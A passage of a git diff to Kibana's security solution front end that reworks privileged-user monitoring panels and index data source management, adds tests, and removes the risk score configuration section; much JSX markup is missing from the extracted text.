${ML_ANOMALIES_INDEX} | WHERE record_score IS NOT NULL AND record_score > 0 | WHERE user.name IS NOT NULL ${getPrivilegedMonitorUsersJoin(namespace)} diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/common/key_insights_tile.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/common/key_insights_tile.tsx index e4b2168a1b433..079bfda1ccd65 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/common/key_insights_tile.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/common/key_insights_tile.tsx @@ -5,31 +5,26 @@ * 2.0. */ -import React from 'react'; -import { EuiFlexItem, useEuiTheme } from '@elastic/eui'; -import { css } from '@emotion/react'; +import React, { useState, useEffect } from 'react'; +import { EuiFlexItem, EuiFlexGroup, EuiTitle, EuiText, EuiIcon } from '@elastic/eui'; +import { FormattedMessage } from '@kbn/i18n-react'; import type { ReactElement } from 'react'; import { createKeyInsightsPanelLensAttributes } from './lens_attributes'; import { VisualizationEmbeddable } from '../../../../../../common/components/visualization_actions/visualization_embeddable'; import { useEsqlGlobalFilterQuery } from '../../../../../../common/hooks/esql/use_esql_global_filter'; import { useGlobalTime } from '../../../../../../common/containers/use_global_time'; import { useSpaceId } from '../../../../../../common/hooks/use_space_id'; +import { useVisualizationResponse } from '../../../../../../common/components/visualization_actions/use_visualization_response'; -const LENS_VISUALIZATION_HEIGHT = 126; -const LENS_VISUALIZATION_MIN_WIDTH = 160; +const LENS_VISUALIZATION_HEIGHT = 150; +const LENS_VISUALIZATION_MIN_WIDTH = 220; interface KeyInsightsTileProps { - /** The title of the tile (i18n FormattedMessage element) */ title: ReactElement; - /** The label for the visualization (i18n FormattedMessage element) */ label: ReactElement; - /** Function that returns the ESQL query for the given namespace */ getEsqlQuery: (namespace: string) => string; - /** Unique ID for the visualization */ id: string; - /** The inspect title element for the visualization */ inspectTitle: ReactElement; - /** Optional override for space ID (if not provided, will use useSpaceId hook) */ spaceId?: string; } @@ -41,7 +36,6 @@ export const KeyInsightsTile: React.FC = ({ inspectTitle, spaceId: propSpaceId, }) => { - const { euiTheme } = useEuiTheme(); const filterQuery = useEsqlGlobalFilterQuery(); const timerange = useGlobalTime(); const hookSpaceId = useSpaceId(); @@ -61,30 +55,77 @@ export const KeyInsightsTile: React.FC = ({ filterQuery, }); - return ( - -
    { + if (visualizationResponse?.loading === true) { + setHasStartedLoading(true); + } + }, [visualizationResponse?.loading]); + + // Reset hasStartedLoading when any filter changes to allow fresh error detection + useEffect(() => { + setHasStartedLoading(false); + }, [timerange.from, timerange.to, filterQuery, effectiveSpaceId]); + + // Only show error state if: + // 1. Loading has started at least once (hasStartedLoading) + // 2. Loading is now complete (loading === false) + // 3. We have no tables (indicating an error) + if ( + hasStartedLoading && + visualizationResponse && + visualizationResponse.loading === false && + !visualizationResponse.tables + ) { + return ( + - -
    -
    + + +

    {titleString}

    +
    +
    + + + + + + + + + + + + + +
    + ); + } + + // If we reach here, either still loading or we have a valid response, so show the embeddable + return ( + ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/index.tsx index 02cd8f47db0b5..130da872a32a5 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/index.tsx @@ -6,8 +6,7 @@ */ import React from 'react'; -import { EuiFlexGroup, EuiFlexItem } from '@elastic/eui'; -import { css } from '@emotion/react'; +import { EuiFlexGrid, EuiPanel } from '@elastic/eui'; import type { DataViewSpec } from '@kbn/data-views-plugin/public'; import { ActivePrivilegedUsersTile } from './active_privileged_users_tile'; @@ -17,59 +16,30 @@ import { GrantedRightsTile } from './granted_rights_tile'; import { AccountSwitchesTile } from './account_switches_tile'; import { AuthenticationsTile } from './authentications_tile'; -const tileStyles = css` - border: 1px solid #d3dae6; - border-radius: 6px; - padding: 12px; - height: 100%; -`; - export const KeyInsightsPanel: React.FC<{ spaceId: string; sourcerDataView: DataViewSpec }> = ({ spaceId, sourcerDataView, }) => { return ( - * { - min-width: calc(33.33% - 11px) !important; - max-width: calc(33.33% - 11px) !important; - } - `} - > - -
    - -
    -
    - -
    - -
    -
    - -
    - -
    -
    - -
    - -
    -
    - -
    - -
    -
    - -
    - -
    -
    -
    + + + + + + + + + + + + + + + + + + + + ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_access_detection/pad_chart/hooks/pad_esql_source_query_hooks.ts b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_access_detection/pad_chart/hooks/pad_esql_source_query_hooks.ts index 81e72aa84e58a..4922c06f6fbe0 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_access_detection/pad_chart/hooks/pad_esql_source_query_hooks.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_access_detection/pad_chart/hooks/pad_esql_source_query_hooks.ts @@ -5,6 +5,7 @@ * 2.0. */ +import { ML_ANOMALIES_INDEX } from '../../../../../../../../common/constants'; import { useIntervalForHeatmap } from './pad_heatmap_interval_hooks'; import type { AnomalyBand } from '../pad_anomaly_bands'; import { getPrivilegedMonitorUsersJoin } from '../../../../queries/helpers'; @@ -29,7 +30,7 @@ export const usePadTopAnomalousUsersEsqlSource = ({ }) => { const formattedJobIds = jobIds.map((each) => `"${each}"`).join(', '); - return `FROM .ml-anomalies-shared + return `FROM ${ML_ANOMALIES_INDEX} | WHERE job_id IN (${formattedJobIds}) | WHERE record_score IS NOT NULL AND user.name IS NOT NULL ${getHiddenBandsFilters(anomalyBands)} @@ -59,7 +60,7 @@ export const usePadAnomalyDataEsqlSource = ({ const formattedJobIds = jobIds.map((each) => `"${each}"`).join(', '); const formattedUserNames = userNames.map((each) => `"${each}"`).join(', '); - return `FROM .ml-anomalies-shared + return `FROM ${ML_ANOMALIES_INDEX} | WHERE job_id IN (${formattedJobIds}) | WHERE record_score IS NOT NULL AND user.name IS NOT NULL AND user.name IN (${formattedUserNames}) ${getHiddenBandsFilters(anomalyBands)} diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_user_activity/columns.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_user_activity/columns.tsx index 6ebf638fc7e01..345ef114e56f6 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_user_activity/columns.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_user_activity/columns.tsx @@ -60,7 +60,7 @@ const getPrivilegedUserColumn = (fieldName: string) => ({ // Issue to extend SecurityCellActions to support this: https://github.com/elastic/security-team/issues/12712 fieldName, idPrefix: 'privileged-user-monitoring-privileged-user', - render: (item) => , + render: (item) => , displayCount: 1, }) : getEmptyTagValue(), @@ -80,7 +80,7 @@ const getTargetUserColumn = (fieldName: string) => ({ values: isArray(user) ? user : [user], fieldName, idPrefix: 'privileged-user-monitoring-target-user', - render: (item) => , + render: (item) => , displayCount: 1, }) : getEmptyTagValue(), diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/columns.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/columns.tsx index 8d73a181de2b0..e19bf3a8883d5 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/columns.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/columns.tsx @@ -48,6 +48,7 @@ import { import { FILTER_ACKNOWLEDGED, FILTER_OPEN } from '../../../../../../common/types'; import type { CriticalityLevelWithUnassigned } from '../../../../../../common/entity_analytics/asset_criticality/types'; import { getFormattedAlertStats } from '../../../../../flyout/document_details/shared/components/alert_count_insight'; +import { SCOPE_ID } from '../../constants'; const COLUMN_WIDTHS = { actions: '5%', '@timestamp': '20%', privileged_user: '15%' }; @@ -66,7 +67,7 @@ const getPrivilegedUserColumn = (fieldName: string) => ({ values: isArray(user) ? user : [user], fieldName, idPrefix: 'privileged-user-monitoring-privileged-user', - render: (item) => , + render: (item) => , displayCount: 1, }) : getEmptyTagValue(), diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/esql_source_query.ts b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/esql_source_query.ts index 7c5b59e075e51..b876d648ee57b 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/esql_source_query.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/privileged_users_table/esql_source_query.ts @@ -5,7 +5,7 @@ * 2.0. */ -import { getPrivilegedMonitorUsersIndex } from '../../../../../../common/entity_analytics/privilege_monitoring/constants'; +import { getPrivilegedMonitorUsersIndex } from '../../../../../../common/entity_analytics/privilege_monitoring/utils'; import { getPrivilegedMonitorUsersJoin } from '../../queries/helpers'; export const getPrivilegedUsersQuery = (namespace: string) => { diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/index.tsx index cb3dcd7394363..802091f1c3083 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/index.tsx @@ -16,6 +16,9 @@ import { UserActivityPrivilegedUsersPanel } from './components/privileged_user_a import { PrivilegedAccessDetectionsPanel } from './components/privileged_access_detection'; import { PrivilegedUsersTable } from './components/privileged_users_table'; +import { MissingPrivilegesCallout } from '../missing_privileges_callout'; +import { usePrivilegedMonitoringPrivileges } from '../../api/hooks/use_privileged_monitoring_privileges'; + export interface OnboardingCallout { userCount: number; } @@ -38,8 +41,23 @@ export const PrivilegedUserMonitoring = ({ setDismissCallout(true); }, []); + const { data: privileges } = usePrivilegedMonitoringPrivileges(); + return ( + {!privileges || privileges.has_all_required ? null : ( + + + } + /> + + )} {error && ( - - - + + +

    } - color={'danger'} + color="danger" /> )} {isLoading && } @@ -89,7 +89,7 @@ export const CsvUploadManageDataSource = ({ disabled={isError || isLoading} onClick={showImportFileModal} fullWidth={false} - iconType={'plusInCircle'} + iconType="plusInCircle" > void; - onDone: (userCount: number) => void; }) => { const spaceId = useSpaceId(); const [addDataSourceResult, setAddDataSourceResult] = useState(); - const [isIndexModalOpen, { on: showIndexModal, off: hideIndexModal }] = useBoolean(false); - - const { data: indices = [], isFetching } = useFetchPrivilegedUserIndices(undefined); return ( <> } /> {addDataSourceResult?.successful && ( <> 0 + ? i18n.translate( + 'xpack.securitySolution.entityAnalytics.privilegedUserMonitoring.manageDataSources.successMessage', + { + defaultMessage: + 'New data source of privileged users successfully set up: {userCount} users added', + values: { userCount: addDataSourceResult.userCount }, + } + ) + : i18n.translate( + 'xpack.securitySolution.entityAnalytics.privilegedUserMonitoring.manageDataSources.successMessageWithoutUserCount', + { + defaultMessage: 'New data source of privileged users successfully set up', + } + ) + } color="success" - iconType={'check'} + iconType="check" /> - + )} - - - - -

    - -

    -
    -
    - -

    - -

    -

    - {isFetching && } - {indices.length === 0 && ( - - )} - {indices.length > 0 && ( - - )} -

    -
    - - - -
    - + + {spaceId && ( )} - {isIndexModalOpen && } ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_manage_data_sources/index_import_manage_data_source.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_manage_data_sources/index_import_manage_data_source.test.tsx new file mode 100644 index 0000000000000..f4663fdbc0c3a --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_manage_data_sources/index_import_manage_data_source.test.tsx @@ -0,0 +1,109 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { render, screen, fireEvent, waitFor } from '@testing-library/react'; +import { IndexImportManageDataSource } from './index_import_manage_data_source'; +import { TestProviders } from '../../../common/mock'; + +const mockUseFetchMonitoredIndices = jest.fn().mockImplementation(() => ({ + data: [], + isFetching: false, + refetch: jest.fn(), +})); + +jest.mock('../privileged_user_monitoring_onboarding/hooks/use_fetch_monitored_indices', () => ({ + useFetchMonitoredIndices: () => mockUseFetchMonitoredIndices(), +})); + +jest.mock('../../api/api', () => ({ + useEntityAnalyticsRoutes: () => ({ + updatePrivMonMonitoredIndices: jest.fn(), + registerPrivMonMonitoredIndices: jest.fn(), + }), +})); + +describe('IndexImportManageDataSource', () => { + const setAddDataSourceResult = jest.fn(); + + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('renders indices header and info text', () => { + render(, { + wrapper: TestProviders, + }); + + expect( + screen.getByText(/One or more indices containing the user\.name field/i) + ).toBeInTheDocument(); + }); + + it('shows "No indices added" when there are no indices', () => { + render(, { + wrapper: TestProviders, + }); + expect(screen.getByText(/No indices added/i)).toBeInTheDocument(); + }); + + it('shows loading spinner when isFetching is true', () => { + mockUseFetchMonitoredIndices.mockImplementation(() => ({ + data: [], + isFetching: true, + refetch: jest.fn(), + })); + + render(, { + wrapper: TestProviders, + }); + expect(screen.getByTestId('loading-indices-spinner')).toBeInTheDocument(); + }); + + it('shows number of indices when indices exist', () => { + mockUseFetchMonitoredIndices.mockImplementation(() => ({ + data: [{ indexPattern: 'foo,bar,baz' }], + isFetching: false, + refetch: jest.fn(), + })); + + render(, { + wrapper: TestProviders, + }); + expect(screen.getByText(/3 indices added/i)).toBeInTheDocument(); + }); + + it('opens and closes the index selector modal', () => { + render(, { + wrapper: TestProviders, + }); + fireEvent.click(screen.getByText(/Select index/i)); + expect(screen.getByTestId('index-selector-modal')).toBeInTheDocument(); + fireEvent.click(screen.getByText('Cancel')); + expect(screen.queryByTestId('index-selector-modal')).not.toBeInTheDocument(); + }); + + it('calls setAddDataSourceResult and refetch on import', async () => { + const refetch = jest.fn(); + + mockUseFetchMonitoredIndices.mockImplementation(() => ({ + data: [{ indexPattern: 'foo,bar,baz' }], + isFetching: false, + refetch, + })); + + render(, { + wrapper: TestProviders, + }); + fireEvent.click(screen.getByText(/Select index/i)); + fireEvent.click(screen.getByText('Add privileged users')); + await waitFor(() => { + expect(setAddDataSourceResult).toHaveBeenCalledWith({ successful: true, userCount: 0 }); + expect(refetch).toHaveBeenCalled(); + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_manage_data_sources/index_import_manage_data_source.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_manage_data_sources/index_import_manage_data_source.tsx new file mode 100644 index 0000000000000..06c76da77c988 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_manage_data_sources/index_import_manage_data_source.tsx @@ -0,0 +1,90 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { EuiButton, EuiLoadingSpinner, EuiFlexGroup, EuiIcon, EuiText } from '@elastic/eui'; +import { FormattedMessage } from '@kbn/i18n-react'; +import { useBoolean } from '@kbn/react-hooks'; +import { IndexSelectorModal } from '../privileged_user_monitoring_onboarding/components/select_index_modal'; +import { useFetchMonitoredIndices } from '../privileged_user_monitoring_onboarding/hooks/use_fetch_monitored_indices'; +import type { AddDataSourceResult } from '.'; + +export const IndexImportManageDataSource = ({ + setAddDataSourceResult, +}: { + setAddDataSourceResult: (result: AddDataSourceResult) => void; +}) => { + const [isIndexModalOpen, { on: showIndexModal, off: hideIndexModal }] = useBoolean(false); + const { data: datasources = [], isFetching, refetch } = useFetchMonitoredIndices(); + const monitoredDataSource = datasources[0]; + const monitoredIndices = monitoredDataSource?.indexPattern + ? monitoredDataSource.indexPattern.split(',') + : []; + + const onImport = async () => { + hideIndexModal(); + setAddDataSourceResult({ successful: true, userCount: 0 }); + await refetch(); + }; + + return ( + <> + + + + +

    + +

    +
    +
    + +

    + +

    + +

    + {isFetching && } + {monitoredIndices.length === 0 && ( + + )} + {monitoredIndices.length > 0 && ( + + )} +

    +
    + + + +
    + + {isIndexModalOpen && ( + + )} + + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.test.tsx index 8b11dfabdc8d7..cd9162a6a95cc 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.test.tsx @@ -6,10 +6,19 @@ */ import React from 'react'; -import { render, screen, fireEvent } from '@testing-library/react'; +import { render, screen, fireEvent, waitFor } from '@testing-library/react'; import { IndexSelectorModal } from './select_index_modal'; import { TestProviders } from '../../../../common/mock'; +const mockUpdatePrivMonMonitoredIndices = jest.fn().mockImplementation(() => Promise.resolve({})); +const mockRegisterPrivMonMonitoredIndices = jest.fn().mockImplementation(() => Promise.resolve({})); +jest.mock('../../../api/api', () => ({ + useEntityAnalyticsRoutes: () => ({ + updatePrivMonMonitoredIndices: () => mockUpdatePrivMonMonitoredIndices(), + registerPrivMonMonitoredIndices: () => mockRegisterPrivMonMonitoredIndices(), + }), +})); + jest.mock('../../../../common/hooks/use_app_toasts', () => ({ useAppToasts: () => ({ addError: jest.fn(), @@ -90,4 +99,38 @@ describe('IndexSelectorModal', () => { expect(screen.queryByLabelText('Select index')).toBeInTheDocument(); }); + + it('pre-selects indices when editDataSource is provided', () => { + render( + , + { wrapper: TestProviders } + ); + + // The selected options should be visible in the combo box + expect(screen.getByText('index1')).toBeInTheDocument(); + expect(screen.getByText('index2')).toBeInTheDocument(); + }); + + it('calls updatePrivMonMonitoredIndices and onImport when editing and clicking add', async () => { + render( + , + { wrapper: TestProviders } + ); + + // Add button should be enabled since index1 is preselected + fireEvent.click(screen.getByText('Add privileged users')); + + waitFor(() => { + expect(mockUpdatePrivMonMonitoredIndices).toHaveBeenCalledWith('edit-id', 'index1'); + expect(onImportMock).toHaveBeenCalledWith(0); + }); + }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.tsx index 3f0ad53ff0e0b..589d33da2bc46 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/components/select_index_modal.tsx @@ -48,18 +48,27 @@ export const DEBOUNCE_OPTIONS = { wait: 300 }; export const IndexSelectorModal = ({ onClose, onImport, + editDataSource, }: { onClose: () => void; onImport: (userCount: number) => void; + editDataSource?: { + id: string; + indexPattern?: string; + }; }) => { + const [selectedOptions, setSelected] = useState>>( + editDataSource?.indexPattern?.split(',').map((index) => ({ label: index })) ?? [] + ); + const [isCreateIndexModalOpen, { on: showCreateIndexModal, off: hideCreateIndexModal }] = useBoolean(false); const { addError } = useAppToasts(); const [searchQuery, setSearchQuery] = useState(undefined); const { data: indices, isFetching, error, refetch } = useFetchPrivilegedUserIndices(searchQuery); - const [selectedOptions, setSelected] = useState>>([]); const debouncedSetSearchQuery = useDebounceFn(setSearchQuery, DEBOUNCE_OPTIONS); - const { registerPrivMonMonitoredIndices } = useEntityAnalyticsRoutes(); + const { registerPrivMonMonitoredIndices, updatePrivMonMonitoredIndices } = + useEntityAnalyticsRoutes(); const options = useMemo( () => indices?.map((index) => ({ @@ -76,11 +85,24 @@ export const IndexSelectorModal = ({ const addPrivilegedUsers = useCallback(async () => { if (selectedOptions.length > 0) { - await registerPrivMonMonitoredIndices(selectedOptions.map(({ label }) => label).join(',')); + if (editDataSource?.id) { + await updatePrivMonMonitoredIndices( + editDataSource.id, + selectedOptions.map(({ label }) => label).join(',') + ); + } else { + await registerPrivMonMonitoredIndices(selectedOptions.map(({ label }) => label).join(',')); + } onImport(0); // The API does not return the user count because it is not available at this point. } - }, [onImport, registerPrivMonMonitoredIndices, selectedOptions]); + }, [ + editDataSource?.id, + onImport, + registerPrivMonMonitoredIndices, + selectedOptions, + updatePrivMonMonitoredIndices, + ]); const onCreateIndex = useCallback( (indexName: string) => { @@ -88,13 +110,13 @@ export const IndexSelectorModal = ({ setSelected(selectedOptions.concat({ label: indexName })); refetch(); }, - [hideCreateIndexModal, refetch, selectedOptions] + [hideCreateIndexModal, refetch, selectedOptions, setSelected] ); return isCreateIndexModalOpen ? ( ) : ( - + { + const { listPrivMonMonitoredIndices } = useEntityAnalyticsRoutes(); + return useQuery( + ['POST', 'LIST_PRIVILEGED_USER_MONITORED_INDICES'], + ({ signal }) => listPrivMonMonitoredIndices({ signal }), + { + keepPreviousData: true, + refetchOnWindowFocus: false, + } + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/onboarding_panel.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/onboarding_panel.tsx index 7a445375798ad..e63caa7193305 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/onboarding_panel.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring_onboarding/onboarding_panel.tsx @@ -21,6 +21,7 @@ import { i18n } from '@kbn/i18n'; import { FormattedMessage } from '@kbn/i18n-react'; import { AddDataSourcePanel } from './components/add_data_source'; import privilegedUserMonitoringOnboardingPageIllustration from '../../../common/images/information_light.png'; +import { useKibana } from '../../../common/lib/kibana'; interface PrivilegedUserMonitoringOnboardingPanelProps { onComplete: (userCount: number) => void; @@ -29,6 +30,8 @@ interface PrivilegedUserMonitoringOnboardingPanelProps { export const PrivilegedUserMonitoringOnboardingPanel = ({ onComplete, }: PrivilegedUserMonitoringOnboardingPanelProps) => { + const { docLinks } = useKibana().services; + return ( @@ -84,10 +87,11 @@ export const PrivilegedUserMonitoringOnboardingPanel = ({ defaultMessage="Want to learn more?" /> { - const mockConfigureSO = useConfigureSORiskEngineMutation as jest.Mock; - const defaultProps = { - includeClosedAlerts: false, - from: 'now-30d', - to: 'now', - }; - - const mockAddSuccess = jest.fn(); - const mockMutate = jest.fn(); - - beforeEach(() => { - (useAppToasts as jest.Mock).mockReturnValue({ addSuccess: mockAddSuccess }); - mockConfigureSO.mockReturnValue({ mutate: mockMutate }); - }); - - afterEach(() => { - jest.clearAllMocks(); - }); - - it('renders correctly', () => { - const wrapper = shallow(); - expect(wrapper).toMatchSnapshot(); - }); - - it('toggles includeClosedAlerts', () => { - const wrapper = mount( - - ); - wrapper.find(EuiSwitch).simulate('click'); - expect(wrapper.find(EuiSwitch).prop('checked')).toBe(true); - act(() => { - wrapper.find(EuiSwitch).simulate('click'); - }); - wrapper.update(); - expect(wrapper.find(EuiSwitch).prop('checked')).toBe(true); - }); - - it('calls onDateChange on date change', () => { - const wrapper = mount(); - wrapper.find(EuiSuperDatePicker).props().onTimeChange({ start: 'now-30d', end: 'now' }); - }); - - it('shows bottom bar when changes are made', async () => { - const wrapper = mount( - - ); - wrapper.find(EuiSwitch).simulate('click'); - wrapper.find(EuiSuperDatePicker).props().onTimeChange({ start: 'now-14m', end: 'now' }); - wrapper.update(); - await new Promise((resolve) => setTimeout(resolve, 0)); // wait for the component to update - expect(wrapper.find('EuiBottomBar').exists()).toBe(true); - }); - - it('saves changes', () => { - const wrapper = mount(); - - // Simulate clicking the toggle switch - const closedAlertsToggle = wrapper.find('button[data-test-subj="includeClosedAlertsSwitch"]'); - expect(closedAlertsToggle.exists()).toBe(true); - closedAlertsToggle.simulate('click'); - - wrapper.update(); - - // Simulate clicking the save button in the bottom bar - const saveChangesButton = wrapper.find('button[data-test-subj="riskScoreSaveButton"]'); - expect(saveChangesButton.exists()).toBe(true); - saveChangesButton.simulate('click'); - wrapper.update(); - const callArgs = mockMutate.mock.calls[0][0]; - expect(callArgs).toEqual({ - includeClosedAlerts: true, - range: { start: 'now-30d', end: 'now' }, - }); - }); - - it('shows success toast on save', () => { - const wrapper = mount( - - ); - - act(() => { - wrapper.find('button[data-test-subj="includeClosedAlertsSwitch"]').simulate('click'); - }); - wrapper.update(); - - act(() => { - wrapper.find('button[data-test-subj="riskScoreSaveButton"]').simulate('click'); - }); - - act(() => { - mockMutate.mock.calls[0][1].onSuccess(); - }); - - expect(mockAddSuccess).toHaveBeenCalledWith( - i18n.RISK_ENGINE_SAVED_OBJECT_CONFIGURATION_SUCCESS, - { - toastLifeTimeMs: 5000, - } - ); - }); -}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_configuration_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_configuration_section.tsx deleted file mode 100644 index 6ea08feccdb80..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_configuration_section.tsx +++ /dev/null @@ -1,204 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import React, { useReducer } from 'react'; -import { - EuiSuperDatePicker, - EuiButton, - EuiText, - EuiFlexGroup, - EuiSwitch, - EuiFlexItem, - EuiBottomBar, - EuiButtonEmpty, - EuiSpacer, - useEuiTheme, -} from '@elastic/eui'; -import { useAppToasts } from '../../common/hooks/use_app_toasts'; -import * as i18n from '../translations'; -import { useConfigureSORiskEngineMutation } from '../api/hooks/use_configure_risk_engine_saved_object'; -import { getEntityAnalyticsRiskScorePageStyles } from './risk_score_page_styles'; - -interface RiskScoreConfigurationState { - saved: { - includeClosedAlerts: boolean; - start: string; - end: string; - }; - draft: { - includeClosedAlerts: boolean; - start: string; - end: string; - }; - showBar: boolean; -} - -type RiskScoreConfigurationAction = - | { type: 'updateField'; field: 'includeClosedAlerts' | 'start' | 'end'; value: boolean | string } - | { type: 'saveChanges' } - | { type: 'discardChanges' }; - -function riskScoreConfigurationReducer( - state: RiskScoreConfigurationState, - action: RiskScoreConfigurationAction -): RiskScoreConfigurationState { - switch (action.type) { - case 'updateField': { - const draft = { ...state.draft, [action.field]: action.value }; - const showBar = - draft.includeClosedAlerts !== state.saved.includeClosedAlerts || - draft.start !== state.saved.start || - draft.end !== state.saved.end; - - return { ...state, draft, showBar }; - } - case 'saveChanges': { - return { - saved: { ...state.draft }, - draft: { ...state.draft }, - showBar: false, - }; - } - case 'discardChanges': { - return { - saved: { ...state.saved }, - draft: { ...state.saved }, - showBar: false, - }; - } - default: - return state; - } -} - -export const RiskScoreConfigurationSection = ({ - includeClosedAlerts, - from, - to, -}: { - includeClosedAlerts: boolean; - from: string; - to: string; -}) => { - const { euiTheme } = useEuiTheme(); - const styles = getEntityAnalyticsRiskScorePageStyles(euiTheme); - const { addSuccess } = useAppToasts(); - const { mutate } = useConfigureSORiskEngineMutation(); - - const [isLoading, setIsLoading] = React.useState(false); - - const [state, dispatch] = useReducer(riskScoreConfigurationReducer, { - saved: { - includeClosedAlerts, - start: from, - end: to, - }, - draft: { - includeClosedAlerts, - start: from, - end: to, - }, - showBar: false, - }); - - const handleDateChange = ({ start, end }: { start: string; end: string }) => { - dispatch({ type: 'updateField', field: 'start', value: start }); - dispatch({ type: 'updateField', field: 'end', value: end }); - }; - - const handleToggle = () => { - dispatch({ - type: 'updateField', - field: 'includeClosedAlerts', - value: !state.draft.includeClosedAlerts, - }); - }; - - const handleSave = () => { - setIsLoading(true); - mutate( - { - includeClosedAlerts: state.draft.includeClosedAlerts, - range: { start: state.draft.start, end: state.draft.end }, - }, - { - onSuccess: () => { - setIsLoading(false); - addSuccess(i18n.RISK_ENGINE_SAVED_OBJECT_CONFIGURATION_SUCCESS, { - toastLifeTimeMs: 5000, - }); - dispatch({ type: 'saveChanges' }); - }, - onError: () => setIsLoading(false), - } - ); - }; - - return ( - <> - -
    - -
    - -
    - -
    -
    - - - - -

    {i18n.RISK_ENGINE_INCLUDE_CLOSED_ALERTS_DESCRIPTION}

    -
